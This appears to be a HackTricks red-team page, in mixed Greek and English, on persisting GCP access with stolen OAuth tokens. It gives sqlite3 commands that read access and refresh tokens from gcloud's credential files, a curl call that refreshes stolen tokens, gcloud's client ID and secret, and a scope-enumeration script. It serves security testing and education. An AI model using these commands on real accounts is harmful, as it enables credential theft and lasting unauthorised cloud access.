GCP - Token Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Authenticated User Tokens

Για να λάβετε το current token ενός χρήστη, μπορείτε να εκτελέσετε:

Λήψη access token από βάση δεδομένων SQLite ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Δες σε αυτή τη σελίδα πώς να χρησιμοποιήσεις άμεσα αυτό το token με gcloud:

Cloud SSRF - HackTricks

Για να πάρεις τις λεπτομέρειες για να generate a new access token τρέξε:

Πάρε το refresh token από τη βάση δεδομένων SQLite ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Επίσης είναι πιθανό να βρείτε refresh tokens στο $HOME/.config/gcloud/application_default_credentials.json και στο $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Για να αποκτήσετε ένα νέο refreshed access token χρησιμοποιώντας το refresh token, το client ID και το client secret, εκτελέστε:

Λήψη νέου access token χρησιμοποιώντας refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

Η διάρκεια ισχύος των refresh tokens μπορεί να διαχειριστείται στο Admin > Security > Google Cloud session control, και από προεπιλογή ορίζεται σε 16h αν και μπορεί να ρυθμιστεί να μην λήγει ποτέ:

Ροή πιστοποίησης

Η ροή αυθεντικοποίησης όταν χρησιμοποιείτε κάτι σαν gcloud auth login θα ανοίξει ένα παράθυρο στο πρόγραμμα περιήγησης και μετά την αποδοχή όλων των scopes το πρόγραμμα περιήγησης θα στείλει ένα αίτημα όπως το ακόλουθο στην http θύρα που άνοιξε το εργαλείο:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud will use the state and code with a some hardcoded client_id (32555940559.apps.googleusercontent.com) and client_secret (ZmssLNjJy2998hD4CTg2ejr2) to get the final refresh token data.

Caution

Σημειώστε ότι η επικοινωνία με το localhost γίνεται μέσω HTTP, οπότε είναι πιθανό να υποκλαπούν τα δεδομένα για να αποκτηθεί ένα refresh token, ωστόσο αυτά τα δεδομένα ισχύουν μόνο 1 φορά, οπότε αυτό θα ήταν άχρηστο — είναι πιο εύκολο απλώς να διαβάσετε το refresh token από το αρχείο.

OAuth Scopes

You can find all Google scopes in https://developers.google.com/identity/protocols/oauth2/scopes or get them executing:

Λήψη όλων των Google OAuth scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

Είναι δυνατό να δείτε ποιες scopes μπορεί να υποστηρίξει η εφαρμογή που χρησιμοποιεί το gcloud για authentication με αυτό το script:

Έλεγχος υποστηριζόμενων scopes για το gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

Μετά την εκτέλεσή του, διαπιστώθηκε ότι αυτή η εφαρμογή υποστηρίζει τα εξής scopes:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

it’s interesting to see how this app supports the drive scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.

Δες πώς να abuse this here.

Λογαριασμοί υπηρεσιών

Όπως και με τους επαληθευμένους χρήστες, αν καταφέρεις να compromise the private key file ενός service account θα μπορέσεις να access it usually as long as you want.
Ωστόσο, αν κλέψεις το OAuth token ενός service account αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, γιατί, ακόμα κι αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο victim deletes the private api key, the OAuh token will still be valid until it expires.

Μεταδεδομένα

Προφανώς, όσο βρίσκεσαι σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείς να access the service account attached to that machine contacting the metadata endpoint (σημείωση ότι τα Oauth tokens που μπορείς να προσπελάσεις σε αυτό το endpoint συνήθως περιορίζονται από scopes).

Αντιμετώπιση

Μερικές μεθόδους αντιμετώπισης για αυτές τις τεχνικές εξηγούνται στο https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks